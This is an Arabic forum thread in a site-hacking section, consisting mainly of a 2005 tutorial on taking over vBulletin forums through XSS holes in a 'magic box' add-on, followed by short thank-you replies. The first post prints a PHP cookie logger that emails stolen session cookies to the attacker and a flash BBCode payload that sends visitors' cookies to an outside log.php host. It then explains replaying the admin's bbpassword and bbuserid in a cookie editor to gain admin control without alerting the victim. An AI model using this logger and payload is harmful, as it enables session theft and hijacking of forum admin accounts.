معاند الجروح من السلام عليكم ورحمة الله وبركاته ايش هالتطورات الرائعه : لا اله الا الله سبحان الله والحمد لله والله اكبر مشاااعر ألم من صندوق واردي !! : ربنا أتمم لنا نورنا واغفر لنا إنك على كل شئ قدير عبق الزهور من احلى منتدى : الف مبروك على الستايل الجديد والشكر موصول لأدرتنا الرائعه ^8 احلى فراوله من ثآمنٍ سمآـآآ : ولوٍ ترٍآكمـْ طفشتونآ طُلعتًوـآ شيب] رآسنآ******** حتىٍـآ ـآلمنتدٍىٍ يتغلىٍ ^بنوته^ من مياسه : لااله الا انت سبحانك اني كنت من الظالمين سبحان الله-الحمدلله-الله اكبر-لااله الا الله water flower من ربوع ميـــاسة : أبـــارك للإدارة ******** والمشرفين ******** والأعضااء ******** هذا الستاايل الجميل تمنيااتي للجميع بقضااء أفضل الأوقاات ******** داخل هذا الصرح الشاامخ روح من السعوديه : هلا والله فيكم انا اليوم معزومه تجون روح من السعوديه : لف مبروك على استايل الجديد يا بنات ادخلوا انا توني صاجيه يا الله نبض المدينة الم من مقهى رؤى : قال علي بن أبي طالب رضي الله عنه: ماأكثر العبر وأقل الإعتبار**************** فعتبروا ياأولي الأبصار لعلكم ترحمون **** ramed من locati="http://wwwiraqiman110mbcom" : ********>locati****"http://www****iraqiman****110mb****com"****/****> ضي الأمل من لمن جادلني بالشات حول قضية عصمة الانبياء : الموضوع في القسم الاسلامي مثبت لمن جادلني بالشات حول قضية عصمة الانبياء موضوع شامل كامل لقضية العصمة مفصل مهم لكل مسلم البنت التي كويس من مياااااااااااااسه : سبحانك اللهم وبحمدك أشهد أن لاإله إلا انت أستغفرك اللهم واتوب إليك الصلاااااه أخواني وأخواتي ضي الأمل من الله يبارك لكم فيها اخوي طبيب : مبارك لك اخونا طبيب اسنان الله يجعلها صالحة ويرزقكم برها ويحسن خلقها واخلاقها ويجعلها يارب من سعداء الدنيا والاخرة وحمدلله على سلامة والدتها ايضا ااا البنت التي كويس من مااااااااابغى يرجع المنتدى : هااااااااااااااي أخباركم ولولولوليييييييش وااااااااااو والله مو مصدقه حالي روح من السعوديه : والله اني احبكم ككككثير بس انتم حلوين احبك يا البرنسيه
 
آخر 10 مشاركات
اكله حلوه           »          بسرعه ادخل لازم           »          أنواع الاعدام التي عرفها التاريخ بالصووووور           »          10 عادات تدمر الدماغ مهمه معرفتها للجميع ؟           »          الــــشـــــات الـــريــاضـــي           »          ღ♥ღ أحب .. و أبدع في حبي ..!! ღ♥ღ           »          لا تقل يوماااااا           »          هنا تقدم التعازي لللغالية مشاعر الم           »          (((( اذا اردت ان تســأل عن شخص متاخر عن المنتدى تفضل ))))           »          ماذا نعرف عن هذاالمسجد ؟؟؟

اشترك في استلام آخر مواضيع المنتدى العودة   ملتقيات مياسه العودة •][• ملتقيات عالم الانترنت والاتصالات •][• العودة •°•¤ اللدغه السامه¤•°• العودة اختراق المواقع والمنتديات
أهلا وسهلا بك إلى ملتقيات مياسه.
أهلا وسهلا بك زائرنا الكريم، إذا كانت هذه زيارتك الأولى للمنتدى، فيرجى التكرم بزيارة صفحة التعليمـــات، بالضغط هنا. كما يشرفنا أن تقوم بالتسجيل بالضغط هنا إذا رغبت بالمشاركة في المنتدى، أما إذا رغبت بقراءة المواضيع والإطلاع فتفضل بزيارة القسم الذي ترغب أدناه منتديات
اختراق المواقع والمنتديات يتم وضع جميع طرق اختراق المواقع والمنتديات والثغرات الجديده وطرق اغلاقها والحمايه منها


إضافة رد
   
أدوات الموضوع انواع عرض الموضوع
 عرض البوم صور كويتي^صخر    مشاركة رقم : 1  
قديم في 05-Nov-2005 الساعة : 11:22 PM
مزاجي:
الصورة الرمزية كويتي^صخر

كويتي^صخر غير متواجد حالياً
رقم العضوية : 6067
تاريخ التسجيل : Jul 2005
الدولة : Ontario
المشاركات : 2,706
بمعدل : 2.46 يوميا
معدل تقييم المستوى : 34
المستوى : كويتي^صخر is on a distinguished road


المنتدى : اختراق المواقع والمنتديات"> اختراق المواقع والمنتديات
A7 شرح اختراق المنتدياتvb3 بإحدى ثغرات الصندوق السحري والماسي<< تم ترقيع مياسه

بسم الله الرحمن الرحيم

والصلاة والسلام على أشرف خــلق الله
سيدنا وحبيبنا محمد وعلى آله وصحبه أجمعين..
وبعد...

بمناسبه عيد الفطر السعيد
وعودتي على اعضاء منتديات مياسه

يشرفني بأني اشرح اقوى ثغرات المنتديات
من نوع فيبولتين vb المعروفه والجميله جدا
ويتميز هذا النوع من المنتديات بسهوله استعماله
وكثرت الهاكات التي تركب به الجميله جدا

ومن اجمل الهاكات هو الصندوق السحري و الماسي
ولكن مافي شئ كـامل الا الله سبحان وتعالى

وفي هذا النصدوق السحري يوجد ثلاث ثغرات
وهم:- ثغره الفلاش ثغره الريل بلاير ثغره تنسيق القصيده
وهي من اكتشاف اخونا العزيز: العنــدليب

وهم من نوع xss

نبدأ الشرح
ولكـن قبـل لا ابدأ الشرح
يــاليت تقرأ هذه العباره:-

" أقســم باللــه أني ما أستخدم الثغره على المنتديات العربيه
والاسلاميه"

اللهم قد بلغت اللهم فشهد
اللهم قد بلغت اللهم فشهد
اللهم قد بلغت اللهم فشهد

بسم الله نبدأ

مذا تحتاج الثغره:-

لوجو مبرمج بلغه الـ php
واخوانا ديفل مبرمج php
ماقصر سوالنا لوج قوي جدا

كود PHP
   <?php

/* S4aLog v1.0 [ Beta ]
-----------------------
**Beta Of S4aLog v1.0 With Str_Repalce <;>
! You Can Get ******* And Refresh The Broweser ! v0.10
[ New New New ]
!Named Your Attack With $nm e.x http://site/log?re=http://www.s4a.cc/&nm=Attack1&id=******* 
[ MSG ]
Name : Attack1
******* : *******
Refresh : http://www.s4a.xx
[ MSG ]!
!
Get ******* Like This :: bbpassword[000000] bbhash[0000] || Old bbpassword=12121; bbhash=12121;
!
[ New New New ]
*/
$YourMail " -تم حذف االبريد بواسطة الادارة _برجاء الالتزام بقوانين المنتديات مع الشكر _الادارة -";  // Your E-mail
/*-----------------------*/
$Ip $REMOTE_ADDR;
$Cooki_e $_GET['id'];
$NameOfAttack $_GET['nm'];
$Refresh $_GET['re'];
/* Start */
$Replace******= array("=",";");
$Replace******= array("[ "," ]  ");
$Cooki_e str_replace($Replace******1,$Replace******2,$Cooki_e); // Replace
/* e.x hash=0210; | hash[0210]*/
//***************************************//
$Hdr "From: S4aLog <log- -تم حذف االبريد بواسطة الادارة _برجاء الالتزام بقوانين المنتديات مع الشكر _الادارة ->";
$Msg =
"
Mr Attacker ;) ,,, S4aLog v1 Beta <<
[ "
.$NameOfAttack." ] ,, Name Of Attack
[ "
.$Refresh." ] ,, Refresh Page
[ "
.$Ip." ] ,, Ip
[ S4aLog < By Devil-00 > -- Thnx For -- <System Evil> <xxx (hacker)> <s4a Members> ]
[  -تم حذف االبريد بواسطة الادارة _برجاء الالتزام بقوانين المنتديات مع الشكر _الادارة - -  -تم حذف االبريد بواسطة الادارة _برجاء الالتزام بقوانين المنتديات مع الشكر _الادارة - ]
-----------------------------------------------
****** ::
"
.$Cooki_e."
"
;
/* ------------------------------------------------------------------------- */
$Send mail($YourMail,"S4aLog -- NewLog",$Msg,$Hdr);
/**************************************************    ***************************/
if($Send){
if(
$Refresh <> ""){header("location:".$Refresh);}
}
?>

اعمل التغييرات الاتيه:-

YourMail = " -تم حذف االبريد بواسطة الادارة _برجاء الالتزام بقوانين المنتديات مع الشكر _الادارة -"; // Your E-mail

وضع اميلك بداله

والتغيير الثاني هو
كلمه
C o o k i e
وهي تخرج على هيئئه 6 نجوم
******
غيرها
وضع كلمه
C o o k i e
ولكن ازل المسافات بين الاحرف
لكي تكون كلمه واحده بدون مسافات

لكي يكتمل اللوج عندنا

وبعد التعديل اعمل على المفكره عندما تنسخ كود اللوج
واحفظه بأسم log
وغير الامتداد الى php

وارفع اللوج على موقعك الشخصي
او اي موقع يقبل php

والحين نجرب مع بعض على طريقه استغلال الثغره
وراج اجرب على ثغره الفلاش لانها الاسهل
على المبتدئين

هذا كود الثغره

كود PHP
   [flash=http://www.xxxxxx.com/test.swf]onmouseover='alert(****************);'[/flash] 


والان نأتي بربط كود الثغره بملف فلاشي
لكي نخدع به صاحب المنتدى او اي مشرف من المشرفين

والربط بيكون على الشكل التالي:-

كود PHP
   [flash=http://www.xxxx.com/card/x/swf/n.swf]onmouseover='location.href="http://www.xxx.com/log.php?nm=al-battar.net&re=http://www.xxxx.com/vb/showthread.php?t=1245&id="+****************'[/flash 


والحين يا شطار ندخل في المتغيرات:_

اولاً:-
[فقط الأعضاء المسجلين والمفعلين يمكنهم رؤية الوصلات . إضغط هنا للتسجيل]
نغيره الى اي ملف فلاشي
وينصح بملف صغير الحجم
لكي لا تنكشف ويتخرب شغلك

ثانياً:-
[فقط الأعضاء المسجلين والمفعلين يمكنهم رؤية الوصلات . إضغط هنا للتسجيل]
هنا غير الرابط هذا
برابط اللوج الذي رفعته على موقعك

بعد عمليه التعديل

ثالثاً:-
[فقط الأعضاء المسجلين والمفعلين يمكنهم رؤية الوصلات . إضغط هنا للتسجيل]


هذا ياشباب مهم يعني مثلا اى واحد يمر المآوس قدام الفلاش راح يودييه للصفحه الموجوده بالكود
وانا انصحك تحط يرجع لنفس الصفحه الموجود فيها الفلاش عشان لا يشك الضحيه
ونشكر اخونا ديفيل لان طور اللوجو لان اول لوجو لامريت المآوس يوديك لصفحه بيضه

يعني نغير الرابط هذا
الى اي رابط موضوع
وينصح برابط الموضوع نفسه

وجزاه الله خير دع الخياار لناااا الله يوفقه في الوجو الجديد ( المطور )


ملإحظه ( إكيد بعضكم يبي يقول شلؤن اعرف انه هذا الكوكيز لاى منتدى )

اجابة السؤال ( الخيآر الثالث بالكوكيز وهى الصفحه المراد الذهاب لها بعد مررو مآوس الضحيه امام الفلاش

راح تجيك داخل الرساله وجذى تعرف لاى منتدى هذا الكوكيز )

الحين هذى شكل الرساله اللى راح توصلك ( بهذا الشكل )

****** ::
bbsessionhash[ 6b0edfdfsfd3ffbe27bc928936aba42f3523efa ] bblastvisit[ 1119817asd013 ]
bblastactivity[ 11198as17959 ] bbforum_view[
3523e417e8fb0bc834d2abaf8f9eb54cax1x-ix2yix1119817237y_ ] bbthread_lastview[
cf56fed12e97ac29c33812245fe8e28aax1x-ix1985ysx10x\"1111907592\"y_ ] bbuserid[
6224 ] bbpassword[ 9360b6686129d3d676df4e6974e8f730


المهم بالرساله كله التالى

bbpassword
bbuserid
bblastactivity
bblastvisit

واكيد لازم تكون مسجل بالمنتدى اللى ودك تدخل بنك الادمن فيه

الحين نطلع اللى نبيه من الكوكيز اللى وصل لنا بالإيميل

الباسوورد المشفر
bbpassword
9360b6686129d3d676df4e6974e8f730

رقم العضويه
bbuserid
1

bblastactivity
1119817959

bblastvisit
1119817013

الآن إفتح برنامج الكوكيز

واللى ماعنده يحمله من هالراابط

[فقط الأعضاء المسجلين والمفعلين يمكنهم رؤية الوصلات . إضغط هنا للتسجيل]

والان بعد ما استهدفنا الادمن الي نبي ندش بعضويته
وصلنا معلومات الكوكيز على الاميل

شوف الصوره



وبعد ما حملنا البرنامج محرر الكوكيز
نفتح ونغير المعلومات الي معلومات
التي وصلتلنا على الاميل





ملاحظه ( bb مو بكل المنتديات تبدآ بكل كلمه مثلا منتديات تبدآ بـ rr شيء عـآدى )

والآن بعد التعديل إغلق البرنامج واذهب للمتصفح واذهب للمنتدى سوف ترى انك

اصبحت ادمن كماا بالصوووره


تمت التجربه على عده منتدياات بنجااااح

والثغره لازالت شغاله واستغلالهاا سهل مثل ماتشووفوون

الترقيع

كلمة C o o k i e مع مراعات حذف المسافات بين الحروف اجعلها من ظمن الكلمات الممنوعة طبعا لاتنسى التفعيل وخلاص الحين تقفلت الثغرة

ولكم خالص تحيه

لا تـنسونا بالدعــاء

وانتظروا الجديد دائما على منتديات مياسه
والافضل بإذن الله قريب

والثغره إهذاء الى الاخ سكادا
وصقر البوادي
ومشرفين مياسه والاداريين واعضائها

وتم اغلاق هذه الثغره من منتديات مياسه
ولله الحمد
واي شئ تطور ابلغكم انشالله
تقبلو تحياتي

اخوكم:-
مــاجد


الملفات المرفقة
تحذير : يتوجب عليك فحص الملفات للتأكد من خلوها من الفيروسات والمنتدى غير مسؤول عن أي ضرر ينتج عن إستخدام هذا المرفق .

تحميل الملف
إسم الملف : اللوق مه كيفيه الربط.rar‏
نوع الملف: rar
حجم الملف : 1.2 كيلوبايت
المشاهدات : 48

توقيع

انا حياتي كلها هم في هم ..
صدمات عمري من زماني عظيمه ..
واذا على الاحزان ما عدت اهتم..
الحزن انا ويــاه علاقه قـديمه ..


يٍخٌاُطٍِِْْبنٍٍٍي الٌسٌٍفٍٍٍيًه بٍٍكٌٌل سٍٍِِفًِه فًٍْأكًًٍره أانْ اأكٍوٌنٍ له مٌجٍيبٍُا
يٍزْاٍدٌ سٌفٍهْاا وأاْزداًُد حٍلْمِِأا كٌٌالٌعُوٍد زًًادًً بِِِِِالأاحٌٌٌٍراْقٍٍِ طٍٍيْبٌٌٌٌإا



 عرض البوم صور صـقـر الـبـوادي    مشاركة رقم : 2  
قديم في 06-Nov-2005 الساعة : 07:44 PM
مزاجي:
الصورة الرمزية صـقـر الـبـوادي

صـقـر الـبـوادي متواجد حالياً

رقم العضوية : 1
تاريخ التسجيل : Feb 2004
المشاركات : 2,530
بمعدل : 1.57 يوميا
معدل تقييم المستوى : 10
المستوى : صـقـر الـبـوادي is on a distinguished road


كاتب الموضوع : كويتي^صخر المنتدى : اختراق المواقع والمنتديات"> اختراق المواقع والمنتديات

تسلم اخوي سيستم ايفل على الشرح وعلى الثغره القويه


اللتي من خلالها تسطيع السيطره على المنتدى سيطره كامله

والحمد لله تم ترقيع هذه الثغره في منتديات مياسه


ولك خالص التحايا

توقيع


شكر خاص للأستاذ عاشق الرومنسيه على الاهداء


 عرض البوم صور مزيون بوظبي    مشاركة رقم : 3  
قديم في 06-Nov-2005 الساعة : 08:10 PM
مياسي ذهبي
مزيون بوظبي غير متواجد حالياً
رقم العضوية : 16882
تاريخ التسجيل : Oct 2005
المشاركات : 1,128
بمعدل : 1.13 يوميا
معدل تقييم المستوى : 17
المستوى : مزيون بوظبي is on a distinguished road


كاتب الموضوع : كويتي^صخر المنتدى : اختراق المواقع والمنتديات"> اختراق المواقع والمنتديات

تسلم اخوى موضوع

جزاك اللة الف الخير اخوى


هذا مب غريبة منك راعى مواضيع كشخة

يعطيك ربى العافية

 عرض البوم صور كويتي^صخر    مشاركة رقم : 4  
قديم في 06-Nov-2005 الساعة : 10:00 PM
مزاجي:
الصورة الرمزية كويتي^صخر

كويتي^صخر غير متواجد حالياً
رقم العضوية : 6067
تاريخ التسجيل : Jul 2005
الدولة : Ontario
المشاركات : 2,706
بمعدل : 2.46 يوميا
معدل تقييم المستوى : 34
المستوى : كويتي^صخر is on a distinguished road


كاتب الموضوع : كويتي^صخر المنتدى : اختراق المواقع والمنتديات"> اختراق المواقع والمنتديات

تسلمون اخواني على المرور
وماتقصرون

عطرتوا الموضوع بمروركم
وانتظروا كل جديد على منتديات مياسه
وانشالله تستفيدون من هذه الشروحات

وكلي أمل انكم تستفيدون منها
وتحياتي لكم

اخوكم:-
سيستم ايفل<< كويتي^صخر

توقيع

انا حياتي كلها هم في هم ..
صدمات عمري من زماني عظيمه ..
واذا على الاحزان ما عدت اهتم..
الحزن انا ويــاه علاقه قـديمه ..


يٍخٌاُطٍِِْْبنٍٍٍي الٌسٌٍفٍٍٍيًه بٍٍكٌٌل سٍٍِِفًِه فًٍْأكًًٍره أانْ اأكٍوٌنٍ له مٌجٍيبٍُا
يٍزْاٍدٌ سٌفٍهْاا وأاْزداًُد حٍلْمِِأا كٌٌالٌعُوٍد زًًادًً بِِِِِالأاحٌٌٌٍراْقٍٍِ طٍٍيْبٌٌٌٌإا



 عرض البوم صور haker_sp    مشاركة رقم : 5  
قديم في 08-Jul-2006 الساعة : 03:57 PM
عضو مياسي
haker_sp غير متواجد حالياً

رقم العضوية : 39025
تاريخ التسجيل : Jul 2006
المشاركات : 1
بمعدل : 0.00 يوميا
معدل تقييم المستوى : 0
المستوى : haker_sp is on a distinguished road


كاتب الموضوع : كويتي^صخر المنتدى : اختراق المواقع والمنتديات"> اختراق المواقع والمنتديات

مشكور اخوي بارك الله فيك

 عرض البوم صور دزني واطيح    مشاركة رقم : 6  
قديم في 03-Aug-2006 الساعة : 10:28 PM
عضو مياسي
دزني واطيح غير متواجد حالياً

رقم العضوية : 40759
تاريخ التسجيل : Aug 2006
المشاركات : 2
بمعدل : 0.00 يوميا
معدل تقييم المستوى : 0
المستوى : دزني واطيح is on a distinguished road


كاتب الموضوع : كويتي^صخر المنتدى : اختراق المواقع والمنتديات"> اختراق المواقع والمنتديات

مشكووووووووور اخوي على الشرح الوافي

 عرض البوم صور b7r2004    مشاركة رقم : 7  
قديم في 27-Jun-2007 الساعة : 01:11 AM
عضو مياسي
b7r2004 غير متواجد حالياً

رقم العضوية : 61887
تاريخ التسجيل : Jun 2007
المشاركات : 2
بمعدل : 0.01 يوميا
معدل تقييم المستوى : 0
المستوى : b7r2004 is on a distinguished road


كاتب الموضوع : كويتي^صخر المنتدى : اختراق المواقع والمنتديات"> اختراق المواقع والمنتديات

مشكور اخي الكريم ننتظر المزيد

 عرض البوم صور بركوك    مشاركة رقم : 8  
قديم في 03-Jul-2007 الساعة : 02:07 PM
عضو مياسي
بركوك غير متواجد حالياً

رقم العضوية : 62481
تاريخ التسجيل : Jul 2007
المشاركات : 3
بمعدل : 0.01 يوميا
معدل تقييم المستوى : 0
المستوى : بركوك is on a distinguished road


كاتب الموضوع : كويتي^صخر المنتدى : اختراق المواقع والمنتديات"> اختراق المواقع والمنتديات

ومالة نررررررررررد

 عرض البوم صور hosamataf    مشاركة رقم : 9  
قديم في 09-Jul-2007 الساعة : 07:47 PM
عضو مياسي
hosamataf غير متواجد حالياً

رقم العضوية : 63071
تاريخ التسجيل : Jul 2007
المشاركات : 5
بمعدل : 0.01 يوميا
معدل تقييم المستوى : 0
المستوى : hosamataf is on a distinguished road


كاتب الموضوع : كويتي^صخر المنتدى : اختراق المواقع والمنتديات"> اختراق المواقع والمنتديات

dankeeeeeeeeeeeeeeeeeeeee

 عرض البوم صور نباطه    مشاركة رقم : 10  
قديم في 11-Jul-2007 الساعة : 12:43 PM
عضو مياسي
نباطه غير متواجد حالياً

رقم العضوية : 63249
تاريخ التسجيل : Jul 2007
المشاركات : 1
بمعدل : 0.00 يوميا
معدل تقييم المستوى : 0
المستوى : نباطه is on a distinguished road


كاتب الموضوع : كويتي^صخر المنتدى : اختراق المواقع والمنتديات"> اختراق المواقع والمنتديات

مشكووووووووووووووووووووووووووووووور

 عرض البوم صور هولستن    مشاركة رقم : 11  
قديم في 21-Jul-2007 الساعة : 01:48 AM
عضو مياسي
هولستن غير متواجد حالياً

رقم العضوية : 64018
تاريخ التسجيل : Jul 2007
المشاركات : 6
بمعدل : 0.02 يوميا
معدل تقييم المستوى : 0
المستوى : هولستن is on a distinguished road


كاتب الموضوع : كويتي^صخر المنتدى : اختراق المواقع والمنتديات"> اختراق المواقع والمنتديات

شكررررررررررررررررا

 عرض البوم صور elmota7mes    مشاركة رقم : 12  
قديم في 02-Aug-2007 الساعة : 04:26 AM
عضو مياسي
elmota7mes غير متواجد حالياً

رقم العضوية : 64872
تاريخ التسجيل : Aug 2007
المشاركات : 8
بمعدل : 0.02 يوميا
معدل تقييم المستوى : 0
المستوى : elmota7mes is on a distinguished road


كاتب الموضوع : كويتي^صخر المنتدى : اختراق المواقع والمنتديات"> اختراق المواقع والمنتديات